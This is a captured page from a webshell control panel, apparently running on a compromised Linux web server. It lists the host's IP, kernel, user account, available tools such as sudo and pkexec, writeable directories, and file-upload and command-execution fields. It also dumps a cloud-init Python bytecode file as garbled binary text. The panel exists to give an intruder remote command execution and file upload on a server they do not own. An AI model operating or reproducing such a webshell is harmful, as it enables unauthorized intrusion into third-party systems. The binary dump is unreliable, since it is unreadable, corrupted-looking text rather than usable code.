- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.188.178.1
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/__pycache__/atomic_helper.cpython-36.pyc
3

\�me�	�@s�ddlZddlZddlZddlZddlZddlmZmZdZej	e
�Zdd�Zdd�Z
edd	fd
d�Zdd
�Zdd�Zefdd�ZdS)�N)�	b64decode�	b64encodei�cCs,t|�}y
|jd�Stk
r&|SXdS)Nzutf-8)r�decode�UnicodeDecodeError)�sourceZdecoded�r�#/usr/lib/python3.6/atomic_helper.py�b64ds

r	cCs"t|t�s|jd�}t|�jd�S)Nzutf-8)�
isinstance�bytes�encoderr)rrrr�b64es

r
�wbFcCs�|r4ytj|�}tj|j�}Wntk
r2YnXd}ydtjtjj|�d|d�}t	j
d||j||t|��|j
|�|j�tj|j|�tj|j|�Wn:tk
r�}z|dk	r�tj|j�|�WYdd}~XnXdS)NF)�dir�delete�modezOAtomically writing to file %s (via temporary file %s) - %s: [%o] %d bytes/chars)�os�stat�S_IMODE�st_mode�OSError�tempfileZNamedTemporaryFile�path�dirname�LOG�debug�name�len�write�close�chmod�rename�	Exception�unlink)�filenameZcontentr�omodeZ
preserve_modeZ	file_statZtf�errr�
write_file s2


r'cCs2ydjt|��Stk
r,djt|��SXdS)z1Handler for types which aren't json serializable.z
ci-b64:{0}z)Warning: redacted unserializable type {0}N)�formatr
�AttributeError�type)Z_objrrr�json_serialize_defaultDsr+cCstj|dddtd�S)z%Return data in nicely formatted json.�T�,�: )�indentZ	sort_keysZ
separators�default)r-r.)�json�dumpsr+)�datarrr�
json_dumpsLsr4cCst|t|�dd|d�S)N�
�w)r%r)r'r4)r$r3rrrr�
write_jsonWs

r7)r1Zloggingrrr�base64rrZ
_DEF_PERMSZ	getLogger�__name__rr	r
r'r+r4r7rrrr�<module>s

	#

Youez - 2016 - github.com/yon3zu
LinuXploit